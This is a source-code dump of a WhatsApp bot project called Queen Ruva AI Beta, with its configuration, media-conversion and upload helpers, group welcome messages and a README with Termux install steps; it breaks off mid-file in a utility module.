├── QueenMedia ├── +) ├── ruva.jpg └── ruva2.jpg ├── LICENSE └── LICENSE ├── database ├── json │ ├── #iconic │ ├── @myusers.json │ ├── @queenruva.json │ ├── @iconictech.json │ ├── @codewaveunit.json │ └── owner.json ├── afk.js ├── converter.js ├── uploaderFunc.js ├── welcome.js ├── welcomeFunc.js ├── queenruva2.js ├── exifFunct.js └── queenruva.js ├── session └── Delete mine if possible and upload yours or just delete folder inside 🫵🤣 ├── render.yaml ├── package.json ├── config.js ├── README.md └── index.js /QueenMedia/+): -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /LICENSE /LICENSE: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /database/json/#iconic: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /database/json/@myusers.json: -------------------------------------------------------------------------------- 1 | [{}] -------------------------------------------------------------------------------- /database/json/@queenruva.json: -------------------------------------------------------------------------------- 1 | [] -------------------------------------------------------------------------------- /database/json/@iconictech.json: -------------------------------------------------------------------------------- 1 | ["@263783525824"] -------------------------------------------------------------------------------- /database/json/@codewaveunit.json: -------------------------------------------------------------------------------- 1 | [{"hit_cmd":13053}] -------------------------------------------------------------------------------- /database/json/owner.json: -------------------------------------------------------------------------------- 1 | ["263783525824", "263714388643", "263786115435"] -------------------------------------------------------------------------------- /session/Delete mine if possible and upload yours or just delete folder inside 🫵🤣: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /QueenMedia/ruva.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iconic05/Queen-Ruva-ai-Beta/HEAD/QueenMedia/ruva.jpg -------------------------------------------------------------------------------- /QueenMedia/ruva2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iconic05/Queen-Ruva-ai-Beta/HEAD/QueenMedia/ruva2.jpg -------------------------------------------------------------------------------- /render.yaml: -------------------------------------------------------------------------------- 1 | services: 2 | - type: web 3 | name: Space-Xmd 4 | env: node 5 | plan: free 6 | region: oregon 7 | buildCommand: "npm install" 8 | startCommand: "node index.js" -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Queen-RUVA", 3 | "version": "8.0.1", 4 | "description": "Queen Ruva AI is your personal girlfriend, not your ex", 5 | "main": "index.js", 6 | "directories": { 7 | "lib": "lib", 8 | "database": "database", 9 | "session": "session", 10 | "media": "media" 11 | }, 12 | "scripts": { 13 | "start": "node index.js" 14 | }, 15 | "author": "ɪᴄᴏɴɪᴄ ᴛᴇᴄʜ", 16 | "license": "Apache-2.0", 17 | "dependencies": { 18 | "@adiwajshing/keyed-db": "^0.2.4", 19 | "@hapi/boom": "^10.0.1", 20 | "baileys": "6.7.18", 21 | "awesome-phonenumber": "^5.9.0", 22 | "axios": "^1.4.0", 23 | "chalk": "^4.1.2", 24 | "crypto-js": "^4.2.0", 25 | "cheerio": "^1.0.0-rc.12", 26 | "cookie": "^0.7.0", 27 | "express": "^4.18.3", 28 | "file-type": "^16.5.3", 29 | "fluent-ffmpeg": "^2.1.2", 30 | "form-data": "^4.0.0", 31 | "fs-extra": "^11.1.1", 32 | "human-readable": "^0.2.1", 33 | "jimp": "^0.16.13", 34 | "jsdom": "^22.1.0", 35 | "libphonenumber-js": "^1.12.8", 36 | "moment-timezone": "^0.5.43", 37 | "node-cache": "^5.1.2", 38 | "node-fetch": "^2.6.11", 39 | "node-id3": "^0.2.3", 40 | "node-webpmux": "^3.1.7", 41 | "node-youtube-music": "^0.8.3", 42 | "performance-now": "^2.1.0", 43 | "pino": "^8.14.1", 44 | "qrcode": "^1.5.3", 45 | "qrcode-reader": "^1.0.4", 46 | "qrcode-terminal": "^0.12.0", 47 | "set-cookie": "^0.0.4", 48 | "simple-git": "^3.27.0", 49 | "translate-google-api": "^1.0.4", 50 | "youtube-yts": "^2.0.0", 51 | "youtubedl-core": "^4.11.5", 52 | "@types/yt-search": "^2.10.3", 53 | "yt-search": "^2.13.1", 54 | "ytdl-core": "^4.11.5", 55 | "pm2": "^5.2.0" 56 | }, 57 | "developed_by": "ICONIC TECH" 58 | } -------------------------------------------------------------------------------- /database/afk.js: -------------------------------------------------------------------------------- 1 | //* CREATED BY ICONIC TECH 2 | const fs = require('fs'); 3 | 4 | // Function to add a user to the AFK list 5 | const addAfkUser = (userId, time, reason, _dir) => { 6 | const userExists = _dir.find(user => user.id === userId); 7 | if (!userExists) { 8 | const obj = { id: userId, time: time, reason: reason }; 9 | _dir.push(obj); 10 | fs.writeFileSync('./database/json/@codewaveunit.json', JSON.stringify(_dir, null, 2)); 11 | } 12 | }; 13 | 14 | // Function to check if a user is in the AFK list 15 | const checkAfkUser = (userId, _dir) => { 16 | return _dir.some(user => user.id === userId); 17 | }; 18 | 19 | // Function to get the AFK reason of a user 20 | const getAfkReason = (userId, _dir) => { 21 | const user = _dir.find(user => user.id === userId); 22 | return user ? user.reason : null; 23 | }; 24 | 25 | // Function to get the AFK time of a user 26 | const getAfkTime = (userId, _dir) => { 27 | const user = _dir.find(user => user.id === userId); 28 | return user ? user.time : null; 29 | }; 30 | 31 | // Function to get the AFK ID of a user 32 | const getAfkId = (userId, _dir) => { 33 | const user = _dir.find(user => user.id === userId); 34 | return user ? user.id : null; 35 | }; 36 | 37 | // Function to get the position of a user in the AFK list 38 | const getAfkPosition = (userId, _dir) => { 39 | return _dir.findIndex(user => user.id === userId); 40 | }; 41 | 42 | module.exports = { 43 | addAfkUser, 44 | checkAfkUser, 45 | getAfkReason, 46 | getAfkTime, 47 | getAfkId, 48 | getAfkPosition 49 | }; 50 | /* we no have time to encrypted our private functioning if there no our official base thank you 51 | .............................................. QUEEN RUVA AI BETA 52 | /* created by iconic tech Visit our website at 53 | codewave-unit.zone.id */ -------------------------------------------------------------------------------- /database/converter.js: -------------------------------------------------------------------------------- 1 | //* CREATED BY ICONIC TECH 2 | const fs = require('fs') 3 | const path = require('path') 4 | const { spawn } = require('child_process') 5 | 6 | function ffmpeg(buffer, args = [], ext = '', ext2 = '') { 7 | return new Promise(async (resolve, reject) => { 8 | try { 9 | let tmp = path.join(__dirname, '../database', + new Date + '.' + ext) 10 | let out = tmp + '.' + ext2 11 | await fs.promises.writeFile(tmp, buffer) 12 | spawn('ffmpeg', [ 13 | '-y', 14 | '-i', tmp, 15 | ...args, 16 | out 17 | ]) 18 | .on('error', reject) 19 | .on('close', async (code) => { 20 | try { 21 | await fs.promises.unlink(tmp) 22 | if (code !== 0) return reject(code) 23 | resolve(await fs.promises.readFile(out)) 24 | await fs.promises.unlink(out) 25 | } catch (e) { 26 | reject(e) 27 | } 28 | }) 29 | } catch (e) { 30 | reject(e) 31 | } 32 | }) 33 | } 34 | 35 | /** 36 | * Convert Audio to Playable WhatsApp Audio 37 | * @param {Buffer} buffer Audio Buffer 38 | * @param {String} ext File Extension 39 | */ 40 | function toAudio(buffer, ext) { 41 | return ffmpeg(buffer, [ 42 | '-vn', 43 | '-ac', '2', 44 | '-b:a', '128k', 45 | '-ar', '44100', 46 | '-f', 'mp3' 47 | ], ext, 'mp3') 48 | } 49 | 50 | /** 51 | * Convert Audio to Playable WhatsApp PTT 52 | * @param {Buffer} buffer Audio Buffer 53 | * @param {String} ext File Extension 54 | */ 55 | function toPTT(buffer, ext) { 56 | return ffmpeg(buffer, [ 57 | '-vn', 58 | '-c:a', 'libopus', 59 | '-b:a', '128k', 60 | '-vbr', 'on', 61 | '-compression_level', '10' 62 | ], ext, 'opus') 63 | } 64 | 65 | /** 66 | * Convert Audio to Playable WhatsApp Video 67 | * @param {Buffer} buffer Video Buffer 68 | * @param {String} ext File Extension 69 | */ 70 | function toVideo(buffer, ext) { 71 | return ffmpeg(buffer, [ 72 | '-c:v', 'libx264', 73 | '-c:a', 'aac', 74 | '-ab', '128k', 75 | '-ar', '44100', 76 | '-crf', '32', 77 | '-preset', 'slow' 78 | ], ext, 'mp4') 79 | } 80 | 81 | module.exports = { 82 | toAudio, 83 | toPTT, 84 | toVideo, 85 | ffmpeg, 86 | } 87 | /* we no have time to encrypted our private functioning if there no our official base thank you 88 | .............................................. QUEEN RUVA AI BETA 89 | /* created by iconic tech Visit our website at 90 | codewave-unit.zone.id */ 91 | -------------------------------------------------------------------------------- /config.js: -------------------------------------------------------------------------------- 1 | // ┌───────────────────────────────────────────────────────┐ 2 | // │ │ 3 | // │ QUEEN RUVA AI - CONFIGURATION FILE │ 4 | // │ │ 5 | // └───────────────────────────────────────────────────────┘ 6 | 7 | /* ================== REQUIREMENTS ===================== */ 8 | const fs = require('fs'); 9 | const path = require('path'); 10 | const chalk = require('chalk'); 11 | 12 | /* ================= GLOBAL SETTINGS =================== */ 13 | // Original global variables preserved exactly as provided 14 | global.prefa = [',', '!', '.', '#', '&']; 15 | global.iconictechMenu = "\u0076\u0031"; 16 | global.autoRecording = false; // AUTO RECORDING 17 | global.autoTyping = true; // AUTO TYPING 18 | global.autorecordtype = false; // AUTO TYPING + RECORDING 19 | global.autoread = true; // AUTO READ MESSAGES 20 | global.autobio = true; // AUTO UPDATE BIO 21 | global.welcome = true; // WELCOME MESSAGES 22 | global.antilink = true; // ANTI-LINK PROTECTION 23 | global.chataudio = false; // AUDIO REPLIES 24 | global.autoswview = true; // STATUS VIEW 25 | global.chatbot = false; // TEXT CHATBOT 26 | global.emojiReact = true; // EMOJI REACTIONS 27 | global.codewave = 'codewave-unit.zone.id'; 28 | global.ownername = "ICONICS-TECH"; 29 | global.ownernumber = '263786115435'; 30 | global.blockedCountryCodes = ["+92", "91", "+62"]; 31 | 32 | /* ================ BOT INFORMATION ==================== */ 33 | global.ytname = "YT: https://www.youtube.com/@iconic-tech"; 34 | global.socialm = "GitHub: https://github.com/iconic05"; 35 | global.location = "zimbabwe/bulawayo"; 36 | global.botname = "ǫᴜᴇᴇɴ ʀᴜᴠᴀ ᴀɪ ʙᴇᴛᴀ"; 37 | global.packname = "ǫᴜᴇᴇɴ ʀᴜᴠᴀ ᴀɪ"; 38 | global.author = "ᴄʀᴇᴀᴛᴇᴅ ʙʏ ɪᴄᴏɴɪᴄ"; 39 | global.iconic_channel = "https://chat.whatsapp.com/LyFPHDvc5vMCglUFjv7Rlp"; 40 | 41 | /* =============== MESSAGE CONFIGURATION ================ */ 42 | global.mess = { 43 | antilink: "⚠️ Group link sharing is restricted!", 44 | owner: "⛔ Owner access required!", 45 | wait: "⏳ Processing your request...", 46 | done: "✅ Task completed successfully!", 47 | prem: "🔒 Premium feature - upgrade to access this!", 48 | admin: "⛔ Admin privileges required", 49 | botAdmin: "🤖 Please make me admin to use this feature", 50 | error: "❌ Oops! Something went wrong", 51 | group: "💬 This command works in groups only", 52 | private: "📩 Please use this in private chat with me" 53 | }; 54 | 55 | /* ================ THUMBNAIL SETUP ==================== */ 56 | const thumbnails = ["ruva.jpg", "ruva2.jpg"]; // Add more as needed 57 | const randomThumb = thumbnails[Math.floor(Math.random() * thumbnails.length)]; 58 | global.thumb = fs.readFileSync(path.join("./QueenMedia", randomThumb)); 59 | 60 | /* ================ FILE WATCHER ======================= */ 61 | const file = require.resolve(__filename); 62 | fs.watchFile(file, () => { 63 | fs.unwatchFile(file); 64 | console.log(chalk.redBright(`Updated '${__filename}'`)); 65 | delete require.cache[file]; 66 | require(file); 67 | }); 68 | 69 | // ┌───────────────────────────────────────────────────────┐ 70 | // │ DO NOT REMOVE - ESSENTIAL STRUCTURE │ 71 | // │ Contact support at: │ 72 | // │ https://codewave-unit.zone.id/support/contact-us │ 73 | // └───────────────────────────────────────────────────────┘ -------------------------------------------------------------------------------- /database/uploaderFunc.js: -------------------------------------------------------------------------------- 1 | //* CREATED BY ICONIC TECH 2 | let axios = require('axios') 3 | let BodyForm = require('form-data') 4 | let { fromBuffer } = require('file-type') 5 | let fetch = require('node-fetch') 6 | let fs = require('fs') 7 | let cheerio = require('cheerio') 8 | 9 | 10 | 11 | function TelegraPh (Path) { 12 | return new Promise (async (resolve, reject) => { 13 | if (!fs.existsSync(Path)) return reject(new Error("File not Found")) 14 | try { 15 | const form = new BodyForm(); 16 | form.append("file", fs.createReadStream(Path)) 17 | const data = await axios({ 18 | url: "https://telegra.ph/upload", 19 | method: "POST", 20 | headers: { 21 | ...form.getHeaders() 22 | }, 23 | data: form 24 | }) 25 | return resolve("https://telegra.ph" + data.data[0].src) 26 | } catch (err) { 27 | return reject(new Error(String(err))) 28 | } 29 | }) 30 | } 31 | 32 | async function UploadFileUgu (input) { 33 | return new Promise (async (resolve, reject) => { 34 | const form = new BodyForm(); 35 | form.append("files[]", fs.createReadStream(input)) 36 | await axios({ 37 | url: "https://uguu.se/upload.php", 38 | method: "POST", 39 | headers: { 40 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36", 41 | ...form.getHeaders() 42 | }, 43 | data: form 44 | }).then((data) => { 45 | resolve(data.data.files[0]) 46 | }).catch((err) => reject(err)) 47 | }) 48 | } 49 | 50 | function webp2mp4File(path) { 51 | return new Promise((resolve, reject) => { 52 | const form = new BodyForm() 53 | form.append('new-image-url', '') 54 | form.append('new-image', fs.createReadStream(path)) 55 | axios({ 56 | method: 'post', 57 | url: 'https://s6.ezgif.com/webp-to-mp4', 58 | data: form, 59 | headers: { 60 | 'Content-Type': `multipart/form-data; boundary=${form._boundary}` 61 | } 62 | }).then(({ data }) => { 63 | const bodyFormThen = new BodyForm() 64 | const $ = cheerio.load(data) 65 | const file = $('input[name="file"]').attr('value') 66 | bodyFormThen.append('file', file) 67 | bodyFormThen.append('convert', "Convert WebP to MP4!") 68 | axios({ 69 | method: 'post', 70 | url: 'https://ezgif.com/webp-to-mp4/' + file, 71 | data: bodyFormThen, 72 | headers: { 73 | 'Content-Type': `multipart/form-data; boundary=${bodyFormThen._boundary}` 74 | } 75 | }).then(({ data }) => { 76 | const $ = cheerio.load(data) 77 | const result = 'https:' + $('div#output > p.outfile > video > source').attr('src') 78 | resolve({ 79 | status: true, 80 | message: "Created By iconic tech", 81 | result: result 82 | }) 83 | }).catch(reject) 84 | }).catch(reject) 85 | }) 86 | } 87 | 88 | async function floNime(medianya, options = {}) { 89 | const { ext } = await fromBuffer(medianya) || options.ext 90 | var form = new BodyForm() 91 | form.append('file', medianya, 'tmp.'+ext) 92 | let jsonnya = await fetch('https://flonime.my.id/upload', { 93 | method: 'POST', 94 | body: form 95 | }) 96 | .then((response) => response.json()) 97 | return jsonnya 98 | } 99 | 100 | module.exports = { TelegraPh, UploadFileUgu, webp2mp4File, floNime } 101 | /* we no have time to encrypted our private functioning if there no our official base thank you 102 | .............................................. QUEEN RUVA AI BETA 103 | /* created by iconic tech Visit our website at 104 | codewave-unit.zone.id */ -------------------------------------------------------------------------------- /database/welcome.js: -------------------------------------------------------------------------------- 1 | //* CREATED BY ICONIC TECH 2 | module.exports = async (IconicTechInc, update, store) => { 3 | console.log("🔄 Group participants update event triggered:", update); 4 | 5 | try { 6 | const { id, participants, action } = update; 7 | if (!id || !participants.length) return; // Ensure valid data 8 | 9 | // Fetch group metadata 10 | let group; 11 | try { 12 | group = await IconicTechInc.groupMetadata(id); 13 | } catch (err) { 14 | console.error("❌ Failed to fetch group metadata:", err); 15 | return; 16 | } 17 | 18 | const groupName = group.subject || "Group"; 19 | const groupOwner = group.owner || "UnknownOwner"; 20 | 21 | // Get current date and time 22 | const now = new Date(); 23 | const dateOptions = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }; 24 | const timeOptions = { hour: '2-digit', minute: '2-digit', second: '2-digit', hour12: true }; 25 | const currentDate = now.toLocaleDateString('en-US', dateOptions); 26 | const currentTime = now.toLocaleTimeString('en-US', timeOptions); 27 | 28 | // Process each participant 29 | for (const participant of participants) { 30 | console.log("👤 Processing participant:", participant); 31 | 32 | let ppUrl = "https://i.imgur.com/qZcSKiJ.png"; // Default profile picture 33 | try { 34 | ppUrl = await IconicTechInc.profilePictureUrl(participant, "image"); 35 | } catch (err) { 36 | console.warn(`⚠️ Profile picture not available for ${participant}`); 37 | } 38 | 39 | if (action === "add") { 40 | let username = "User"; 41 | try { 42 | username = await IconicTechInc.getName(participant) || "User"; 43 | } catch (err) { 44 | console.warn(`⚠️ Could not fetch name for ${participant}`); 45 | } 46 | 47 | // Welcome Message 48 | let welcomeMessage = `┏━━━━━━━━━━━━━━━━━━━━━┓ 49 | ┃ 🎉 *WELCOME TO ${groupName}!* 🎉 50 | ┣━━━━━━━━━━━━━━━━━━━━━┫ 51 | ┃ 👤 *User:* @${participant.split('@')[0]} 52 | ┃ 🏠 *Group:* ${groupName} 53 | ┃ 🔑 *Owner:* @${groupOwner.split('@')[0]} 54 | ┃ 📅 *Date:* ${currentDate} 55 | ┃ ⏰ *Time:* ${currentTime} 56 | ┃ 🪀 *Bot Channel:* https://whatsapp.com/channel/0029ValX2Js9RZAVtDgMYj0r 57 | ┃ 🤖 *Bot:* Queen Ruva AI Beta 58 | ┃ 🌍 *visit* codewave-unit.zone.id 59 | ┃ 👤 *Developer:* ɪᴄᴏɴɪᴄ ᴛᴇᴄʜ 60 | ┗━━━━━━━━━━━━━━━━━━━━━┛`; 61 | 62 | let welcomeImage = { 63 | image: { url: ppUrl }, 64 | caption: welcomeMessage, 65 | mentions: [participant, groupOwner], 66 | }; 67 | 68 | console.log("📩 Sending welcome message to:", id); 69 | try { 70 | await IconicTechInc.sendMessage(id, welcomeImage); 71 | console.log("✅ Welcome message sent successfully."); 72 | } catch (err) { 73 | console.error("❌ Failed to send welcome message:", err); 74 | } 75 | 76 | } else if (action === "remove") { 77 | // Farewell Message 78 | let farewellMessage = `┏━━━━━━━━━━━━━━━━━━━━━┓ 79 | ┃ 😔 *We lost our soldier...* 80 | ┣━━━━━━━━━━━━━━━━━━━━━┫ 81 | ┃ 💔 *We will miss you, @${participant.split('@')[0]}* 82 | ┃ 🏠 *Group:* ${groupName} 83 | ┃ 🔑 *Owner:* @${groupOwner.split('@')[0]} 84 | ┃ 📅 *Date:* ${currentDate} 85 | ┃ ⏰ *Time:* ${currentTime} 86 | ┃ 🤖 *Bot:* Queen Ruva AI Beta 87 | ┃ 💬 *Goodbye, warrior!* 88 | ┃ 👤 *Developer:* ɪᴄᴏɴɪᴄ ᴛᴇᴄʜ 89 | ┗━━━━━━━━━━━━━━━━━━━━━┛`; 90 | 91 | let farewellImage = { 92 | image: { url: ppUrl }, 93 | caption: farewellMessage, 94 | mentions: [participant, groupOwner], 95 | }; 96 | 97 | console.log("📩 Sending farewell message to:", id); 98 | try { 99 | await IconicTechInc.sendMessage(id, farewellImage); 100 | console.log("✅ Farewell message sent successfully."); 101 | } catch (err) { 102 | console.error("❌ Failed to send farewell message:", err); 103 | } 104 | } 105 | } 106 | } catch (err) { 107 | console.error("❌ Auto-Welcome Error:", err); 108 | } 109 | }; 110 | /* we no have time to encrypted our private functioning if there no our official base thank you 111 | .............................................. QUEEN RUVA AI BETA 112 | /* created by iconic tech Visit our website at 113 | codewave-unit.zone.id */ -------------------------------------------------------------------------------- /database/welcomeFunc.js: -------------------------------------------------------------------------------- 1 | //* CREATED BY ICONIC TECH 2 | module.exports = async (IconicTechInc, update, store) => { 3 | console.log("🔄 Group participants update event triggered:", update); 4 | 5 | try { 6 | const { id, participants, action } = update; 7 | if (!id || !participants.length) return; // Ensure valid data 8 | 9 | // Fetch group metadata 10 | let group; 11 | try { 12 | group = await IconicTechInc.groupMetadata(id); 13 | } catch (err) { 14 | console.error("❌ Failed to fetch group metadata:", err); 15 | return; 16 | } 17 | 18 | const groupName = group.subject || "Group"; 19 | const groupOwner = group.owner || "UnknownOwner"; 20 | 21 | // Get current date and time 22 | const now = new Date(); 23 | const dateOptions = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }; 24 | const timeOptions = { hour: '2-digit', minute: '2-digit', second: '2-digit', hour12: true }; 25 | const currentDate = now.toLocaleDateString('en-US', dateOptions); 26 | const currentTime = now.toLocaleTimeString('en-US', timeOptions); 27 | 28 | // Process each participant 29 | for (const participant of participants) { 30 | console.log("👤 Processing participant:", participant); 31 | 32 | let ppUrl = "https://i.imgur.com/qZcSKiJ.png"; // Default profile picture 33 | try { 34 | ppUrl = await IconicTechInc.profilePictureUrl(participant, "image"); 35 | } catch (err) { 36 | console.warn(`⚠️ Profile picture not available for ${participant}`); 37 | } 38 | 39 | if (action === "add") { 40 | let username = "User"; 41 | try { 42 | username = await IconicTechInc.getName(participant) || "User"; 43 | } catch (err) { 44 | console.warn(`⚠️ Could not fetch name for ${participant}`); 45 | } 46 | 47 | // Welcome Message 48 | let welcomeMessage = `┏━━━━━━━━━━━━━━━━━━━━━┓ 49 | ┃ 🎉 *WELCOME TO ${groupName}!* 🎉 50 | ┣━━━━━━━━━━━━━━━━━━━━━┫ 51 | ┃ 👤 *User:* @${participant.split('@')[0]} 52 | ┃ 🏠 *Group:* ${groupName} 53 | ┃ 🔑 *Owner:* @${groupOwner.split('@')[0]} 54 | ┃ 📅 *Date:* ${currentDate} 55 | ┃ ⏰ *Time:* ${currentTime} 56 | ┃ 🪀 *Bot Channel:* https://whatsapp.com/channel/0029ValX2Js9RZAVtDgMYj0r 57 | ┃ 🤖 *Bot:* Queen Ruva AI Beta 58 | ┃ 🌍 *visit* codewave-unit.zone.id 59 | ┃ 👤 *Developer:* ɪᴄᴏɴɪᴄ ᴛᴇᴄʜ 60 | ┗━━━━━━━━━━━━━━━━━━━━━┛`; 61 | 62 | let welcomeImage = { 63 | image: { url: ppUrl }, 64 | caption: welcomeMessage, 65 | mentions: [participant, groupOwner], 66 | }; 67 | 68 | console.log("📩 Sending welcome message to:", id); 69 | try { 70 | await IconicTechInc.sendMessage(id, welcomeImage); 71 | console.log("✅ Welcome message sent successfully."); 72 | } catch (err) { 73 | console.error("❌ Failed to send welcome message:", err); 74 | } 75 | 76 | } else if (action === "remove") { 77 | // Farewell Message 78 | let farewellMessage = `┏━━━━━━━━━━━━━━━━━━━━━┓ 79 | ┃ 😔 *We lost our soldier...* 80 | ┣━━━━━━━━━━━━━━━━━━━━━┫ 81 | ┃ 💔 *We will miss you, @${participant.split('@')[0]}* 82 | ┃ 🏠 *Group:* ${groupName} 83 | ┃ 🔑 *Owner:* @${groupOwner.split('@')[0]} 84 | ┃ 📅 *Date:* ${currentDate} 85 | ┃ ⏰ *Time:* ${currentTime} 86 | ┃ 🤖 *Bot:* Queen Ruva AI Beta 87 | ┃ 💬 *Goodbye, warrior!* 88 | ┃ 👤 *Developer:* ɪᴄᴏɴɪᴄ ᴛᴇᴄʜ 89 | ┗━━━━━━━━━━━━━━━━━━━━━┛`; 90 | 91 | let farewellImage = { 92 | image: { url: ppUrl }, 93 | caption: farewellMessage, 94 | mentions: [participant, groupOwner], 95 | }; 96 | 97 | console.log("📩 Sending farewell message to:", id); 98 | try { 99 | await IconicTechInc.sendMessage(id, farewellImage); 100 | console.log("✅ Farewell message sent successfully."); 101 | } catch (err) { 102 | console.error("❌ Failed to send farewell message:", err); 103 | } 104 | } 105 | } 106 | } catch (err) { 107 | console.error("❌ Auto-Welcome Error:", err); 108 | } 109 | }; 110 | /* we no have time to encrypted our private functioning if there no our official base thank you 111 | .............................................. QUEEN RUVA AI BETA 112 | /* created by iconic tech Visit our website at 113 | codewave-unit.zone.id */ -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

2 | Queen Ruva AI 3 |

4 | 5 |

QUEEN RUVA AI

6 | 7 |

8 | Typing SVG 9 |

10 | 11 |

12 | AI Bot 13 |

14 | 15 | --- 16 | 17 | # 🚀 **PROJECT ACTIVITY MONITOR** 18 | 19 | ## ⏰ HELP STATUS 20 |

21 | 22 | Deployment Status 23 | 24 |

25 | 26 |
27 | 🔄 Real-time version tracking | 🛡️ Production-grade monitoring | 📈 Performance optimized 28 |
29 | 30 | --- 31 | 32 | ## ✨ **WHAT'S NEW** 33 | • **Chatbot** 34 | • **Chataudio** 35 | • **Text logos maker** 36 | • **Music downloader** 37 | • **URL downloaders including:** 38 | - YouTube 39 | - Instagram 40 | - TikTok 41 | 42 | --- 43 | 44 | ## 👑 **OWNER:** Iconic Tech 45 | 46 | --- 47 | 48 | ## 🔥 **QUEEN RUVA BETA TIP** 49 | 🚀 **Upload the file and deploy where you want.** 50 | ❓ **If you don't know how, follow us and watch the videos below!** 51 | 52 |
53 | 54 | 55 | 56 |
57 | 58 | --- 59 | 60 | ## 🖥 **DEPLOYMENT OPTIONS** 61 | 62 | ### **1-Click Deploy** 63 |
64 | 65 | 66 | 67 | 68 | 69 | 70 |
71 | 72 | ### **Session ID** 73 | 🔗 [session](https://queen-ruva-ai-3d-session-id.onrender.com/) 74 | 75 | ### **Panel Deployment** 76 | [![Deploy on Panel](https://img.shields.io/badge/BOT_HOSTING_PANEL-7289DA?style=for-the-badge&logo=discord&logoColor=white)](https://bot-hosting.net/?aff=1274828280750407803) 77 | 78 | ### **Termux Install** 79 | ```bash 80 | # System Update 81 | clear 82 | echo "[+] Updating packages..." 83 | pkg update -y && pkg upgrade -y 84 | 85 | # Install Dependencies 86 | echo "[+] Installing dependencies..." 87 | pkg install -y git nodejs ffmpeg imagemagick libwebp 88 | 89 | # Clone Repository 90 | echo "[+] Downloading Queen-ruva-ai-beta..." 91 | git clone https://github.com/iconic05/Queen-ruva-ai-beta.git 92 | cd Queen-ruva-ai-beta 93 | 94 | # Install Node Modules 95 | echo "[+] Installing node modules..." 96 | npm install 97 | npm install -g npm@latest 98 | npm audit fix --force 99 | 100 | # Fix Common Issues 101 | echo "[+] Applying fixes..." 102 | pkg install python -y 103 | npm install --global yarn 104 | yarn install 105 | 106 | # Start Bot 107 | clear 108 | echo "[+] Installation complete!" 109 | echo "[+] Starting Queen-ruva-ai-beta..." 110 | node . 111 | ### **Install on Termux (Android)** 112 | ```bash 113 | # System Update 114 | clear 115 | echo "[+] Updating packages..." 116 | pkg update -y && pkg upgrade -y 117 | 118 | # Install Dependencies 119 | echo "[+] Installing dependencies..." 120 | pkg install -y git nodejs ffmpeg imagemagick libwebp 121 | 122 | # Clone Repository 123 | echo "[+] Downloading Queen-ruva-ai-beta..." 124 | git clone https://github.com/iconic05/Queen-ruva-ai-beta.git 125 | cd Queen-ruva-ai-beta 126 | 127 | # Install Node Modules 128 | echo "[+] Installing node modules..." 129 | npm install 130 | npm install -g npm@latest 131 | npm audit fix --force 132 | 133 | # Fix Common Issues 134 | echo "[+] Applying fixes..." 135 | pkg install python -y 136 | npm install --global yarn 137 | yarn install 138 | 139 | # Start Bot 140 | clear 141 | echo "[+] Installation complete!" 142 | echo "[+] Starting Queen-ruva-ai-beta..." 143 | node . 144 | -------------------------------------------------------------------------------- /database/queenruva2.js: -------------------------------------------------------------------------------- 1 | //* CREATED BY ICONIC TECH 2 | var __importDefault = (this && this.__importDefault) || function (mod) { 3 | return (mod && mod.__esModule) ? mod : { "default": mod } 4 | } 5 | Object.defineProperty(exports, "__esModule", { value: true }) 6 | 7 | const axios = require("axios") 8 | const cheerio = require("cheerio") 9 | const { resolve } = require("path") 10 | const util = require("util") 11 | let BodyForm = require('form-data') 12 | let { fromBuffer } = require('file-type') 13 | //let fetch = require('node-fetch') 14 | let fs = require('fs') 15 | const child_process = require('child_process') 16 | const ffmpeg = require('fluent-ffmpeg') 17 | 18 | const {unlink } = require ('fs').promises 19 | 20 | 21 | exports.sleep = async (ms) => { 22 | return new Promise(resolve => setTimeout(resolve, ms)); 23 | } 24 | exports.fetchJson = async (url, options) => { 25 | try { 26 | options ? options : {} 27 | const res = await axios({ 28 | method: 'GET', 29 | url: url, 30 | headers: { 31 | 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36' 32 | }, 33 | ...options 34 | }) 35 | return res.data 36 | } catch (err) { 37 | return err 38 | } 39 | } 40 | exports.fetchBuffer = async (url, options) => { 41 | try { 42 | options ? options : {} 43 | const res = await axios({ 44 | method: "GET", 45 | url, 46 | headers: { 47 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36", 48 | 'DNT': 1, 49 | 'Upgrade-Insecure-Request': 1 50 | }, 51 | ...options, 52 | responseType: 'arraybuffer' 53 | }) 54 | return res.data 55 | } catch (err) { 56 | return err 57 | } 58 | } 59 | exports.webp2mp4File=async(path) =>{ 60 | return new Promise((resolve, reject) => { 61 | const form = new BodyForm() 62 | form.append('new-image-url', '') 63 | form.append('new-image', fs.createReadStream(path)) 64 | axios({ 65 | method: 'post', 66 | url: 'https://s6.ezgif.com/webp-to-mp4', 67 | data: form, 68 | headers: { 69 | 'Content-Type': `multipart/form-data; boundary=${form._boundary}` 70 | } 71 | }).then(({ data }) => { 72 | const bodyFormThen = new BodyForm() 73 | const $ = cheerio.load(data) 74 | const file = $('input[name="file"]').attr('value') 75 | bodyFormThen.append('file', file) 76 | bodyFormThen.append('convert', "Convert WebP to MP4!") 77 | axios({ 78 | method: 'post', 79 | url: 'https://ezgif.com/webp-to-mp4/' + file, 80 | data: bodyFormThen, 81 | headers: { 82 | 'Content-Type': `multipart/form-data; boundary=${bodyFormThen._boundary}` 83 | } 84 | }).then(({ data }) => { 85 | const $ = cheerio.load(data) 86 | const result = 'https:' + $('div#output > p.outfile > video > source').attr('src') 87 | resolve({ 88 | status: true, 89 | message: "Created By Eternity", 90 | result: result 91 | }) 92 | }).catch(reject) 93 | }).catch(reject) 94 | }) 95 | } 96 | 97 | exports.fetchUrl = async (url, options) => { 98 | try { 99 | options ? options : {} 100 | const res = await 